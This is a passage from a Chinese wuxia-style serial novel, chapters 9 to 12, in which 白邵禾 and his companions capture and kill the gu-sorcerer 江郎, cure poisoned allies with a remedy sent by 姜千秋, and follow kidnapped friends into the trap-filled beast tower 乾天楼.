这边两个人在窃窃私语的时候，白邵禾才发觉王老怪也来了这里，他赶忙问秦千千在哪？不用想，提议来这里的，肯定是秦千千。得知她先行离开后，白邵禾这才松了口气。
可听清那人的诉求，要他们救舞台上的一个人时，白邵禾的脸色顿时黑了下来，都什么时候，还想着救风尘这一出吗？桑风雪听到了心里，也看清楚了白邵禾的脸色。
“救人的事情你不用管，你和元德记住捉他就好。”沟通完毕后，王老怪赶忙离开。这时舞台上的交易已经进行到了第三层，白邵禾目光扫过人群，跟某人对视后，他缓缓点了下头。
这边的交易还在如火如荼地进行着，白邵禾几次三番拒绝了桑风雪行动的提议，就连一向服从命令的元德，也有些坐不住了。眼看下一位就要拍到桃花花的姐姐了，白邵禾却还是说不是现在。
“你别告诉我，你准备拍下她？”桑风雪不可思议地看着那人，白邵禾云淡风轻地点点头，反问道：“不可以吗？”
“疯子！”桑风雪不懂，也不想搞懂他到底在想什么。她实在忍无可忍，决定自己动手。于是她纵身跳上高台，开始跟江郎缠斗在了一起。白邵禾让元德留在这里帮她，自己则是顺着王老怪离开的地方跑去。
白邵禾没有见过江郎，因此，他喊来了夏念烟。刚刚在人群之中跟他对视的人就是夏念烟，她用事先设定好的暗号告诉白邵禾，台上的并不是江郎。
真正的江郎玩了个灯下黑，肯定在背后注视着这一切，甚至已经跟着王老怪追捕秦千千去了。一路赶去的白邵禾气血翻涌，整个人兴奋到几近发抖。这次，你总该不会不出来了吧？
可他一路追踪，从城区追到了荒郊野外，来到人烟罕至的这片树林中后，白邵禾少有的心悸起来。回想这一路，他发现自己中了圈套。
王老怪能跑这么远不奇怪，可秦千千
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一个伤员，外加桃花花一个弱不经风的人，两个人怎么可能在如此短的时间内，跑十几里山路？看他停了下来，江郎才咂么着嘴，从黑暗处走了出来。
“现在才反应过来，未免也有点太迟了吧？”江郎提着王老怪的后脖领子，把五花大绑的王老怪扔到地上。“要不是你追着，我早就杀了他了。”
江郎不耐烦地摆了下手，从昏暗的丛林中，走出二三十个蒙面杀手。白邵禾冷哼一声，抽出长剑就跟他们打了起来。刀刀见血，刀刀致命。白邵禾采用最省力的打法，砍瓜切菜般让这些人转瞬即逝了。
而后他握着长剑，刀尖朝下，一步一步往江郎这边走来。江郎撇了下嘴，开始跟他聊了起来：“侠士，何必呢？这怪老头是你友人的话，我还你就是了。”
白邵禾跟王老怪对视一眼，就知道自己和江郎，都是被王老怪戏耍了。得知秦千千安全后，白邵禾心也就放在了肚子里。他转动手腕把剑背在身后，同意了江郎的提议：“首先，我要你把他的绳子解开，万一他缺胳膊断腿了，咱们可以好好算算账。”
江郎表示没问题，他抽出腰间的匕首，从背后划开了绳子。王老怪却失力般倒在地上，这是白邵禾要求他们把人扶起来，江郎自然不肯一身犯险，他招呼手边唯二的侍卫去扶他。
结果王老怪一转身，朝着江郎那边就吐了口东西，水雾乘着山风扑到了他们三个人的脸上。王老怪刚从地上爬起来，那边的三个人就倒了地。
白邵禾这边捆着人往回走的时候，桑风雪和元德那边也擒拿住了假江郎。桑风雪带着那女生飞下去后，桃花花就从一旁的店铺中跑了出来。乍一看，桑风雪还没认出来，胡子拉碴的两个大汉，居然是秦千千和桃花花。
“你们怎么没走？”桑风雪奇怪地问道，秦千千说来不及解释那么多了，得赶紧走。“这里好歹是江郎的地盘，我们快点走吧。”
她们以为出城这一路走的格外顺利，是因为运气好。其实是因为夏念烟带队替她们清扫了很多追捕她们的人。直到出了城，元德才松开砍人砍到卷刃的长剑。
秦千千跟王老怪约定好了，两队人在城外几里地的破庙里碰头。秦千千她们“碰巧”抢了一辆停在城门口的马车，一行人驾着马车，很快就到了破庙。
看到秦千千平安无事后，白邵禾这才放下心来，他迎上去扶住秦千千，她左手捂住自己的右肩肩头，指不定又是伤口崩裂了。王老怪看她嘴唇发白，准备过来查看伤势，谁知道桃花花牵着自己的姐姐，跪在他脚边。
“求你救救我姐姐，她现在不会说话不会笑，怎么跟个活死人一样呢？”
王老怪连忙搀起她，说眼泪解决不了问题，让他看看情况再说。他看似十分淡定，但其实心中却十分悲伤。这种被下蛊虫的案例，他之前见过，那次他依旧是束手无策，眼睁睁看着那人死去。
看到那人下车的神情，王老怪就知道，这病他医不了。
唯二的希望，一是江郎从实招来；二是多年未曾现身的姜千秋，带着解药归来。除了这两个办法，那就只能等死了……
9. 反击
担心迷不倒江郎，王老怪下药的剂量加了倍，但理应到了转醒的时间，江郎那边却一点动静都没有。白邵禾也过来查看情况，得知他还没醒后，白邵禾提议换班值守。
“你去帮千千看看伤势，我在这里看着他。”白邵禾刚站在这里没多久，去外面放哨的元德就回来了。他正准备说什么，白邵禾盯着他悄然摇头。元德话锋一转，说起了别的事情。
“公子，我去屋里问问，她们饿不饿。饿的话，我就去找点东西吃。”
白邵禾点点头，元德从他身边走过，江郎就在这时缓缓睁开了眼睛。他眼神清明，完全不像刚刚清醒的样子。
“公子，谈个生意呗。你现在放了我，金银财宝、官爵美人，随你怎么许。”白邵禾低头看着他，压低声音回复：“好啊，那你倒是先跟我说说，你有姜千秋的下落吗？”
听到这个名字，江郎瞳孔微缩，而后赶忙浅笑了起来：“那公子真是看得起我了。说出来不怕你笑话，我找了她好多年了。可是有用的信息，跟她有关联的人。喏，都在那个屋里了。”
没问出什么有用的问题，白邵禾也不准备跟他多费工夫，他起了身，喊屋里的人出来：“江浪醒了。”
斜倚在墙角的江郎也不慌，他嘴里不知道在嘟囔着什么，声音不大，但屋里的人都听得真切。王老怪警觉他这是在操控桃花花的姐姐，他赶忙停住给秦千千包扎的手，朝外面喊：“快！捂住他的嘴！不能让他再念了！”
白邵禾用手一掐，卸掉了江郎的下巴。而那位绑在大门口的假江郎，不知何时挣脱束缚，蹿到了白邵禾身后。他手持短匕，正要扎下去。元德情急之下只能一个飞踢，把人踢翻在院中。
江郎用力在膝盖上磕了一下下巴，恢复原状后，他继续念那什么咒语，一边念一边嘴歪眼斜地笑着，看得白邵禾觉得有些渗人。
屋中跟桃花花待在一起的姐姐，突然站了起来。她猛地掐住了桃花花的脖子，桑风雪上前击打她的胳膊，企图掰开她的手，奈何那人用力之大，她竟然撼动不了一分。
那人反手抓住她的胳膊，钳制的死死的。元德在院中跟假江郎缠斗，白邵禾眼神中闪过一丝狠厉，直接照江郎脖子处踢了去。这一脚，踢断了他的脖子。
可傀儡的发狂行为还是没有暂停，白邵禾只好去屋里帮忙整治那位姐姐。江郎死后，她陷入了彻底的癫狂，而她的指甲也肉眼可见地增长，掐着桃花花的脖子，已经从指尖渗出了血。
白邵禾当机立断，提着长剑斩断了她的胳膊，另一只胳膊也只是挥剑一瞬间的事儿。驰援元德前，白邵禾把长剑递给桑风雪：“保护好她们。”
跟元德合力诛杀了假江郎后，白邵禾才有时间来观察江郎的死状。细看他才发现，江郎的皮肉之下，仿佛什么在涌动……
“别靠近尸体！”
看着一直蠕动着从皮肤中爬出来的虫子时，白邵禾赶忙出声提醒她们。元德一直保持着警惕，自然没有中招。可屋中的桃花花和桑风雪，发现的太迟了。
听到长剑当啷落地的时候，白邵禾跑到门前查看情况：桑风雪和桃花花已经跪在地上，抓挠着脖子和胳膊，她们尖叫着，表情异常痛苦。
不一会儿，她们皮肤通红，倒在了地上。
“你们快点把寺庙的门关上，千万不要让人靠近这里。”躲在屋中屏风后面的王老怪开口，他觉得自己这次一定要交代在这里了，事到如今，能多活一个，就是一个。
白邵禾咬着牙问他，秦千千怎么样了？却得到了下一个噩耗。伤口发炎红肿，她早就发烧晕了过去。本想借由这个机会，问出姜千秋的下落，谁知道她居然在关键时候晕了过去？
站在门口的两人相顾无言，白邵禾的愤怒达到了极点。若着姜千秋果真无所不能，那就应该察觉他们现在的处境，施以援手了吧？他在心中嘲讽着她的无能，自己却也对现状无可奈何。
明月高悬，湿冷的晚风伴随着一股奇异的香味扑面而来。元德是最先察觉到这个的，而后坐在马车中打坐的白邵禾，被元德喊了出来。
“公子，你有闻到一股奇异的香味吗？”
虽然元德不懂各种胭脂水粉，但他很确定地表示，这种味道他从来没有闻到过。白邵禾摇头，那股淡淡的香味，说不上来是什么味道，仿佛是某种药草香。
而后凄厉破空的一声鸟鸣，仿佛要撕开漆黑的长夜，两人循着声音抬头看。有一个展着翅膀的大鸟呼啸而过，停在了寺庙门前。白邵禾倏然瞪大了眼睛，这个声音他听到过，就在那天蹲守王老怪的路上。
来不及解释，他跳下马车，那似鹰非鹰的禽兽站在门前，并没有被他的接近所吓走。而是熟络地往这边走了两步，借着月光，白邵禾看清了它腿上绑着的一封信。
元德过来时，白邵禾已经看了一遍那张纸，是一封誊录的古籍。字体隽永清瘦，白邵禾盯着那字出神，仿佛能通过这字，看到写它的主人一样。
早在清风酒楼做工时，元德就偷看过姜千秋写给秦千千的信笺。那封信笺是姜千秋嘱咐她多读书，还细数她日常毛病的闲聊信。他凑近一看，十分肯定地说这就是姜千秋的笔迹。
白邵禾难掩喜色，看来，那人还是时刻关注着秦千千的情况的。这页古书，讲的就是巫蛊之术的解法。而最后一行，用小字誊录了一句治疗伤口解毒的方子。
这就证明，姜千秋也是有软肋的。而白邵禾接下来的事情，就是拿捏住这个软肋。他们依照药方寻找草药，终于敢在中蛊十二时辰前，给她们喝了解药。而秦千千的汤药，则是白邵禾亲手给她熬制的。
一行人好不容易喘口气的时候，夏念烟派一个乞丐来跟白邵禾通风报信，江郎又出现在了脂粉斋。奇怪的是，大闹庆斋演出的事情，江郎再没有提起过。元德听后，不小心打碎了借来的瓷碗。
这江郎是雨后春笋吗？怎么一茬一茬地冒出来？
白邵禾决定先隐瞒住这个事情，而且，近期不能会锦宁县了。万一这是请君入瓮，他们大摇大摆的回去，不就是找死吗？晚上的时候，一直高烧昏迷的秦千千终于醒了过来，人齐后，她们才开始商议接下来的计划。
“你说，他不再追究庆斋演出的事情，那敌视我主人的事情，他有说还作数吗？”
记的事情太多，就会出现纰漏。白邵禾清楚记得，秦千千讲江郎的经历时，没说跟她家主人有什么关系。眼下她丝毫没有意识到自己漏出的破绽，白邵禾也将错就错。
“这个，我估计应该不会吧？我可以再找人去试试，只不过，试出来以后，你要怎么办呢？”
秦千千依旧脸色苍白，但她毫不掩饰眼神中的疯狂：“那我们就赌一赌，我假装是我主人，以身入局。要是勾出来真正的江郎，诛杀他的话，我也算是立功了。”她难掩兴奋，似乎完全没考虑这个计划失败的话，她
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会面临什么。
桑风雪立马拒绝了这个提议：“万万不可！与其这样，那还不如让我去，我最起码还会武功。让你去跟送死有什么区别！”王老怪也同意桑风雪的话，他也不能看着秦千千去涉险。
“你有没有想过，万一失败了，你要怎么全身而退呢？”白邵禾目光深沉，神色凝重地问她。现在他更确定了心中的那个想法，姜千秋选她做老板，真的是太冲动了。
秦千千笑着打哈哈：“我要是出了意外，主人肯定会想办法来救我的吧，到时候主人来了，收拾个江郎不是轻轻松松的吗？”
众人被她的话整沉默了，一致否决了她的计划。可左思右想也想不出别的什么计划，现在总共就两条路，要么正面制服江郎，要么抱头鼠窜。
别人不清楚，桑风雪清楚。秦千千认定的事情，那是八头牛都拉不回来的。而秦千千试图游说她们，接受自己的提议。
“你们看，哪怕主人最后没来。我们这里有谁，一个白公子、一个元德、一个桑姐姐，还有一个用毒高手王老怪呢。那三个臭皮匠还顶个诸葛亮呢，咱们这四个人，还抵不过主人一个人吗？”
桑风雪冷着脸泼凉水：“肯定比不过。”见识过姜千秋真正实力的王老怪，也疯狂点头，比不了一点。这让围在火堆前的白邵禾更加好奇，这人究竟是怎么一个奇女子？
第二日中午，白邵禾才收到小乞丐送来的消息：一散布姜千秋来的消息，脂粉斋就暗中多了好多潜伏的人。看来，真正的江郎还在，计划依然有效。
万事俱备，只少一个问题，那就是怎么利用假身份，引江郎出来。而这个问题，让在场的各位都哑然无声。白邵禾怀疑，根本没有正确的解决办法。若他是江郎，直到姜千秋出现，一定要出动所有仆从，直接诛杀她。
秦千千灵光乍现，想到了之前在书中看过的一个故事：
在盗墓猖獗的年代，有个达官贵人死了后得下葬，可明目张胆的葬下去，相当于昭告天下，日后一定会有人来盗墓。他的后代就想了个办法，下葬当天，有八只送葬队伍从家出门，朝着城外八个方向走去。就这样，他的墓一直完好的存在着。
“这说明什么，我们需要烟雾弹啊。我们现在三位女人，三位男人，那我们就分成三组，每组一男一女。堂而皇之地进城，江郎届时一定会暗中查探，到时候一跟踪，不就知道真正的江郎是谁了。”
听秦千千说完，众人觉得也有道理，速战速决，也就只有这个办法了。不过分组的时候，却犯了难。因为每一组都有面临绞杀的危险，更遭的是，或许三组一同被绞杀……那么人员分配就成了问题。
白邵禾当机立断，直接说出了自己心中的分组：“桑小姐功夫了得，我觉得跟王老怪在一起，正好相得益彰。至于元德，跟桃花花在一起比较好。因为千千受了伤，行动不便，而我的武功比元德好一些，自然要承担得多一些。”
众人敲定了一切的事项，散播的消息也在夜间散了出去。该置办的行头也都采买妥当，就等第二天，三拨人分批进城了。
众人没想到，从进城到去客栈入住，一切都顺利的过分。三组人自进城后就再没联系，大家现在能做的，就只有沉得住气。
秦千千和白邵禾坐在客栈房间中面面相觑，秦千千正准备取掉带着纱帐的斗笠，白邵禾却制止了她动作，指了指屋外。秦千千知道，这是有人沉不住气了。
10. 乾天楼
“咚咚咚。”外面先传来三声沉闷的敲门声，随后有个谄媚的男声响起：“两位客官，我们锦宁县的脂粉斋想必二位早有耳闻吧。斋主现在想请二位赏脸，到府中一叙。”
秦千千隔着面纱看了眼白邵禾，白邵禾悄然点头，哪怕知道是鸿门宴，她们也得去了。而且肯定不止请了她们一组，白邵禾觉得江郎把人全请去了。
“知道了，你们在楼下等着，我们待会儿就过去。”白邵禾开口回他们，听着门外无人后，他才放心地跟秦千千商议。“现在看来，江郎是宁愿错杀，也不放过一个了。”
秦千千满脸愁容，行动前她以为自己的计划很完美，可现在看来，就是作茧自缚罢了。而且还让六个人全都陷入了困境，果然，她道行还是太浅了。
“还是怪我太傻了，要是我主人在这里，她……”
“其实我一直很好奇，你主人到底是武功高超，还是谋略无敌？怎么在你口中，她似乎不会被任何事情为难。”
世间万难，无外乎两种解决办法：聪慧之人用谋略、笨拙之人用蛮力。当然有那种天才，既有过人的谋略，又有一身的武功。
“主人就是那样的人，而且放眼江湖，没有一个人能比得过她的。她武功独步江湖，已然是江湖上路人皆知的事实。至于脑子这方面，我不好说，毕竟像今天这种情况，她早就用武功杀穿了……”
白邵禾深深看了她一眼，这人一提起姜千秋，就满脸敬仰。至于她话中的事情，他本不想全信的，可这跟他近年来搜寻的消息完全一致。白邵禾不得不承认，哪怕没有那件事儿，他应该也会很想见见那位奇女子。
“既然如此，那我们现在就去证明，你的提议没有错。若是此次行动成功，你也能告知她，她也会为你欣慰的。”白邵禾神色认真地安慰她，最后还拍了拍她的肩膀。
秦千千重重地点了下头，语调都庄重了起来：“是啊，到时候我一定要写信告诉主人！”白邵禾照旧走在前面，跟在后面的秦千千自然看不到，他眼中闪过的狡黠。
果然如此！接下来最重要的事情，就是怎么问出她们之间的联络方式。白邵禾心中冷笑一声，姜千秋本人或许没有缺点，但秦千千，就是她最大的软肋。
因为二人是以主仆身份示人的，所以秦千千自然而然坐在四周镂空雕花罩着青纱的轿子里，白邵禾则是步履沉稳地跟在轿子旁边。一行人走了不到一炷香，白邵禾就察觉到了异常，这并不是去那日府邸的路。
只不过他压下心中的疑虑，或许，江郎是另选了一个府邸，一个更加把控森严，更适合请君入瓮的地方。他想最坏的情况，也就是三拨人被分散到三处，江郎想各个击破而已。
他对此完全不担心，且不说夏念烟早就暗中准备好，随时驰援他们。哪怕援兵没有及时赶到，他对着三组人的实力还是非常信任的。
元德的武功，护着桃花花全身而退不是问题。桑风雪和王老怪那组，两个人没有一个省油的灯。初见面那天，桑风雪一鞭子卷飞他的剑，那时他就知道她的武功甚至不弱于元德。
王老怪更是心狠手辣，他从与众人同行后，就一直悄悄给所有人下毒……这个事情，是元德昨天才发现的。昨晚夜半，王老怪悄悄塞给桑风雪一瓶解药，两个人的对话也被元德听的一清二楚。
“上次给你的解药，你应该吃完了，这一瓶能再撑半个月。”
“你还是没有回答我的问题，既然要解毒，为什么不给千千她们？难不成你不知道她们是自己人？”
“不，这毒只对武功高强的人有用，而且武功越高，受到的伤害越大。千千她们两个拳脚功夫都不会的人，吃这解药也是浪费了。”
白邵禾收起心神，看了一眼造型奇特的青纱轿子，以及中间坐着若隐若现的人影，总觉得哪里有些不对劲儿。
秦千千的坐姿怎么可能如此端庄！
他一把掀开青帐，抬手准备撩开面纱，谁知随行的仆从和轿夫也不装了，他们纷纷从腰间抽出软剑，跳上前跟白邵禾缠斗起来。镇北和镇南早已打得不可开交了，都是用相同的手段：不知何时，轿子中的人就换了一个，秦千千、桃花花和桑风雪，就这么消失了。
最先突出重围的是元德，这些喽啰虽然武功不高，但架不住人多。于是缠斗没多久，他就召唤了暗中同行的夏念烟，火速解决这些人后，元德得到消息，王老怪早就脱身追踪桑风雪的去向了。
等元德带着人赶到白邵禾身边时，他正在试图从最后的活口中问出来什么消息，那人即使被踩在脚下也宁死不屈，甚至连怎么偷天换日的都不肯透露。
“很好。”白邵禾长剑一挥砍断了那人双手，他十分痛苦地嚎叫，白邵禾没有丝毫犹豫，从背后直插心脏，了解了这人的姓名。“桃花花也被人换了，是吧？”
一旁伫立的元德立马点头，等他跟白邵禾汇报完所有情况后，白邵禾抬头远眺：“我们的人有追踪到王老怪，或者秦千千她们去哪里了吗？”
白邵禾一直思考，到底是哪个契机让江郎把人换了，百思不得其解的同时，他看着那若隐若现的青账轿子就恼火。
“请公子恕罪，我们的人并不知道她们去哪里了。”夏念烟脱下绫罗绸缎，身着黑色暗纹的禁军统一服装。不施钗黛，头发也英气地束成高马尾。从隔壁小院推门而出的时候，白邵禾都恍惚了一下。
毕竟平时这套装束，常在王府见到，而他出门又有些时日了，所以一时间没有反应过来。
“罢了，那我们就去脂粉斋，你带着人暗中同行就好，千万不可泄露踪迹。”说罢，元德跟着白邵禾离开，夏念烟做了个无声手势，告诉潜伏的人按兵不动。
王老怪跟白邵禾想到了一起，他察觉不对劲儿后直接去了曾经的大宅附近。不过为了防止那些人发现他，他只得在人头攒动的脂粉斋街中游荡，时刻关注着街上的异动。
不曾想还真给他发现了异常，一行身着红装的人赶着马车浩浩荡荡地经过穿过脂粉斋，朝着街尽头的一座高楼而去。很多人围在街两侧看热闹
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，王老怪佯装好奇，跟旁边的人攀谈起来。
这才知道，这是来脂粉斋送货的。每当商队一来，脂粉斋就会上很多新品，谁也不知道这新品到底出自何处。
“不过有点奇怪，往常都是庆斋演出展示一遍后，才来商队的。这次怎么挑这个时候来？”那女子面露疑惑，眼睛随着商队远眺，她还忍不住感叹：“哎呀，而且这次上不了多少东西吧，你看看这商队才这么长而已。”
正在他皱眉沉思的时候，刚进脂粉斋的白邵禾看到了他，三人聚头后，王老怪跟他们说了自己的猜测。
“我觉得那里面不是商品，而是她们三个。”
他数了，一共九个箱子。商队分为前中后小队，每个队周围都有重兵把守，这实在不像是押送脂粉的架势。白邵禾看着远处的高楼，决定去看看。
都说望山跑死马，他们瞄着高楼也走了好久，王老怪累的走不动，他提议先歇一歇。
“好一个气派的千店长街！”白邵禾看着街上熙熙攘攘的人群，不由得感叹，这江郎还真是有经商头脑，只可惜，别的手段就差了一些。自从进了脂粉斋，就有人在跟踪他们。
随着越来越靠近高楼，街上肉眼可见的细作也多了不少。
白邵禾心想，若是他手下的禁军都是这个做派，那他这个储君早就死了八百次了。他一边在心中嘲讽江郎无用，一边隐隐不安。这么明显的圈套，他们现在还得硬着头皮过去。
高楼那里肯定不是美酒佳肴待来人的，不过，只要那高楼不是乾天妖楼，那一切都还好说。乾天妖楼，并不是指某个特定的建筑，那是白邵禾在古籍中看过的一种豢养奇珍异兽的高楼的统称。
那种楼需要精心打理，毕竟山野中的动物还有“一山不容二虎”的说法，在乾天妖楼中，可是汇集了包括虎、狼、蛇、熊之类的凶猛野兽。而且既要养好它们，又要尽量保留野兽凶猛的习性。
难度之高，可见一斑。
这种乾天妖楼主要是保护最上层的宝物，为了防止飞贼直接飞上去，乾天妖楼从每层的每片瓦砾，都会增加一根特质的长线，另一端牢牢固定在地上。而且长线上每隔不远都会绑一张沁了剧毒的布条，如此累计下来，原本的楼身就会若隐若现。
白邵禾也是听西域来朝拜的僧人说，这种建筑风格很像他们那里的经幡，只不过那里的经幡是彩色，而且祈求和谐安定的。而这种乾天妖楼，真是想想就让人胆寒。
走的越近，白邵禾的眉心就皱越紧，眼前的高楼虽然轮廓清晰可见，并没有乾天妖楼的沁毒外壳，可等走近到能分辨高楼大小的时候，他还是不由得愣住了。
这高楼的占地面积太大，其中若真豢养了猛兽，那绝对配得上书中妖楼分类中说的极品妖楼。而走到高楼脚下的院墙，看清牌匾后，白邵禾轻轻叹了口气。
那牌匾上笔锋肆意地写了三个大字：乾天楼。左右门廊还挂着一副楹联：
人进神进妖进鬼进皆只进不出，你试他试我试任谁来枯骨无葬。
11. 进楼
白邵禾哑然失声，最不想让发生的事情还是发生了。而且这江郎也是够狂妄的，居然自信自己的乾天楼还能杀神吗？白邵禾对此颇有微词。另外两个人看到这个楼时，反应也有不同。
元德不知这楼的来历，只是站在门口才察觉这栋楼如此宏伟，眼神中流露出一丝丝震惊。饶是繁花似锦的京都，也少有这种规格的高楼。
行遍江湖的王老怪自然什么都涉猎一些，看到乾天楼的时候，他脑中闪过一丝熟悉的感觉，总觉得在哪里听过这个名字。白邵禾看到他奇怪的神情，这才提醒了他。
“乾天楼，别名乾天妖楼。”白邵禾说完，就转头盯着王老怪。王老怪这才恍然大悟，他用力一拍脑门，他怎么把这事儿给忘了。早些年，他还结识了一个驯兽的官人呢。也正是那个官人，他才对乾天妖楼有所了解。
官人，是乾天妖楼里饲养猛兽的人的专属称谓。妖楼各有不同，按照高楼的搭建层数分为小妖楼、中妖楼、大妖楼。分别为三层、六层、九层。
“我不知道那些典籍书中有没有记载，反正那个官人跟我说的时候，我是完全没想到的。一座乾天妖楼，并非只有一个官人，而是有几层楼，就有几个。每到饲喂的时间，他们会结伴而行，饲喂完毕后，再一同离开。”
这种说法，白邵禾倒是第一次听说。不过仔细想来也算是合理，一个人怎么能摸透各个凶兽的脾性，还要负责搬运各个楼层凶兽的吃食呢。
“如此说来，这乾天楼不是什么好惹的地方，那我们还得先行确定，老板她们究竟有没有被绑到这里吧？不然我们之中有人出了意外的话，她们就更孤立无援了。”
元德拿着秦千千做幌子，其实他心中最担心的是眼前的白邵禾。一路走来，白邵禾为了接近秦千千付出了很多，眼下就是真的让他们进乾天楼，白邵禾也会毫不犹豫的。
可元德宁愿自己进去，也不愿意让他进去以身犯险。白邵禾抬眼看着乾天楼顶，最高一层的窗户原本是死死封闭的，不知何时悄然打开了。
就在他屏气凝神盯着那个窗户时，有人倚在窗边，笑着跟他们谈话：“各位，既然来了，那不妨上来坐坐。我和几位小姐，都在上面等着你们。”
那人跟之前见到的江郎长得一摸一样，他说完，就朝后面挥了挥手。侍卫抱着被迷晕的三个人，专门在窗边展示了一下。
楼下的三人看得清清楚楚，第一个是秦千千，第二个是桑风雪。轮到桃花花的时候，她突然一挣扎差点从那侍卫怀中掉下去，而她借着这个机会上半身探出窗子，朝这边喊着什么。
可是桃花花喊得声嘶力竭，却发不出一点声音。没等她反应过来，她就又被身后的侍卫用手刀砍晕，抱了下去。意外结束，江郎又出现在窗边，朝他们挑衅。
“各位，等你们的好消息。”
他话音刚落，厚重的大门倏然大开。白邵禾想也不想，直接抬脚往里面走，元德阻挡不及，只能跟着进去。王老怪收起平时吊儿郎当的样子，谨慎地走进院中。
看清楚院中的布置后，白邵禾心中更是一凛，看来江郎为了这个乾天妖楼，没少下功夫。这楼四周虽然没有限制轻功的拌线，可院子四周的地面撒了一层白白的粉末，足足有一指厚。
“他可真是下了血本，舒筋散就是这么用的啊。”白邵禾冷哼一声，环顾四周后，直接走到了楼前。王老怪捏着鼻子附和他：“是啊，果然是财大气粗啊！”
要不是场合不对，王老怪都想拿出瓶子装点走。这舒筋散最好用了，只要趁人稍不注意沾在他的衣襟上，不出一炷香，被下药的人就会软了筋骨动弹不得。
这东西虽然不算是一两千金的天价，一瓶巴掌大小的药葫芦装着的舒筋散，卖个十两不成问题。但架不住这院子中舒筋散的量太大了，看得博学多识的王老怪都瞠目结舌的。
元德眼神滴溜一转，想到了一个主意，他歪头悄悄告诉王老怪，那人用看傻子一样的表情看着他：“愚笨啊！那江郎怎么会蠢到在院子里放这么多，能药晕楼中猛兽的药粉呢？”
元德尴尬地挠挠头，好吧，还好他没有先斩后奏地偷舒筋散。白邵禾转头看向这边，王老怪和元德心领神会地过去。
映入眼帘的是两扇气派却又诡异的漆红木门，那红漆格外刺眼，仿佛就像一只野兽，正伏在地上张着血盆大口，谁进来就要把谁吞噬了似的。
那漆红大门上安着两对儿口衔门环的怒目狮子头，元德上前一步，抓住门环扣了扣门。门中传来窸窸窣窣的声音，白邵禾不解地歪了下头。
与其说是什么大型的猛兽，倒不如说里面听着有无数个小体型的禽类在涌动。白邵禾制止住元德准备推开门的手，他沉声给两个人分析。
“这是个六层的妖楼，按照我的了解，前两层一定是没有那么危险的牲畜，这两层就是降低人的防范心理。可一旦上了第三层，再往上走，那就是一层比一层凶险了。”
循序渐进，等猎物进入圈套后，就会发现步履维艰，最后葬身在这里。白邵禾提醒他们两个不要放松警惕，而后他拉着王老怪后退了一步。
元德推开门后，也迅速撤开了距离。屋中诡异的白雾，争先恐后地涌出来，他们等雾气散的差不多后，才勉强看清屋中的陈设。
楼中没有烛光，只有从窗台缝隙打进来的几条光线。光线笔直打在地面，露出刻着奇怪花纹而且锈迹斑斑的地面。屋子中间是一个巨型石雕烛台，约莫有一人那么高，粗细差不多像二十年的大槐树。
“看来咱们不进去，那些东西是不会出来喽？”王老怪耸耸肩，一脸无奈。行吧，他这辈子走南闯北什么没见过，现在就当进去开眼了。这么想着，他就准备第一个进去，白邵禾拉住了他。
“不，你走在中间。元德，你打头。”
眼下这种情况，很难说清楚，究竟是打头危险，还是收尾危险。元德恨自己不能分身，要是可以分身的话，他一定不会让殿下身陷危险之中的。
他只得服从
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命令，缓步走进屋中。三人鱼贯而入，在白邵禾踏进门槛后，身后的门砰的一声落下。不是原来的漆红大门，而是从上面落下来的一道石墙。
“这江郎，是生怕我们临阵脱逃啊！”王老怪不安地强装淡定，都这个时候了，他还有空调侃。白邵禾从怀中掏出火折子，火苗本来只轻微地跳动着，这屋中平静无风，所以他放下了挡住火苗的那只手。
谁知窸窸窣窣的声音再度传来，手中的火苗也开始疯狂地跃动着，三个人立刻背对背，观察起四周的情况。屋子中的风越来越大，白邵禾只得熄灭了火折子。
而后中间的石台，不知怎地就如同星光般亮了起来。一个、两个、三个、五个……而后以惊人的速度向下蔓延，蔓延到地面后，那种黄绿色的光，开始沿着凹凸不平的地面，蜿蜒前行。
亮光行至墙壁，与前面的循序渐进不同，每面墙壁骤然亮起。那光虽然不到刺眼的程度，但对于刚适应黑暗的眼睛来说，还是让他们不适地闭上了眼睛。
白邵禾眯着眼看脚下，那窸窸窣窣的声音越来越大，甚至有些亮光开始脱落下来。直到这时，白邵禾才看清那是什么。
“怎么这么多萤火虫？”
或许是刚刚的场景太过绚烂诡异，元德和王老怪都愣了一下，才回复他。
“嗬，这一楼难不成是给人观光的，怎么如此好看啊！”王老怪忍不住感叹，好看是真的好看。元德晃了神，看到萤火虫，让他想起一些往事。
当年闹瘟疫，家中人一个接一个离世后，元德一人逃荒。经过一个算命的老婆婆指点后，他摸爬滚打地到了京城。机缘巧合之下，被穆轩岚带走，结束了漂泊无依的生活。
元德这辈子也不会忘记，遇到老婆婆的那天晚上，明月高悬，秋风和煦。他是追着一团萤火虫跑的，结果萤火虫没抓到，却给他遇到了命中的贵人。
“元德！”看他想的入迷，王老怪推了他一把：“你怎么了？千万要集中注意力啊。”
元德立即点头，也就是这个时候，附着在墙上地上的萤火虫腾飞的越来越多。有一只在白邵禾眼前不断盘旋，白邵禾伸出右手，那萤火虫仿佛通人性般落在他手上，不停地抖落着翅膀上的东西。
白邵禾凑近看了看，那是一种散发着幽绿色光芒的一种粉末。眨眼间，他们三个肩膀头顶都停留了不少的虫子，它们无一例外地在抖动着翅膀。
他猛地一翻手，把虫子抖落。这种粉末他想起来了，他应该对此印象深刻才是。毕竟，他之前差点死在这种粉末手里。
“快，别让这些虫子落在身上！它们抖落的粉末会刺激楼上的凶兽，凶兽闻了，就会立即陷入癫狂。”
元德赶忙用手驱赶，王老怪又是跑，又是跳，谁知被地上的崎岖绊倒，险些以头抢地。过大的动作，惊醒了更多的毒虫，屋子里的亮度又刺眼了两分。
“九面墙壁，一定是有楼梯的，我们分头找。”白邵禾神色稍显慌张，三人转身开始检查起了墙壁。
12. 对峙
白邵禾没想到找到楼梯那么容易，王老怪检查墙壁的时候，一失手就转动了那仅容一人通过的暗门。事出反常必有妖，可现在除了立刻上去，他们也没有别的选择了。
比起一楼那种古怪的光，二楼则是正常多了，八面墙壁正中间插着火把。从他们踏上二楼的房间后，那火把逐一亮起，照的屋中亮堂堂的。
“我们还是赶紧找上楼的路吧，最重要的是先上楼。”白邵禾拿出储君的架势，对他们两个发号施令。元德一直习惯如此，自由惯了的王老怪也没察觉有什么不对，三个人默契地各自查探了起来。
“我找到了！”
“我这……”
王老怪和元德的声音同时响起，白邵禾死死盯着眼前的墙壁，出于谨慎他没有用手触摸墙壁，一种用的都是剑柄，可谁知他眼前的这面墙就像是活了一样，开始不停地翻涌起来。
元德察觉到不对劲儿，赶忙跑了过去。看到波动的墙壁，他还以为自己眼花了，直到王老怪捂着眼过来推了他们两个一把。
“别看，这种东西致幻的！”
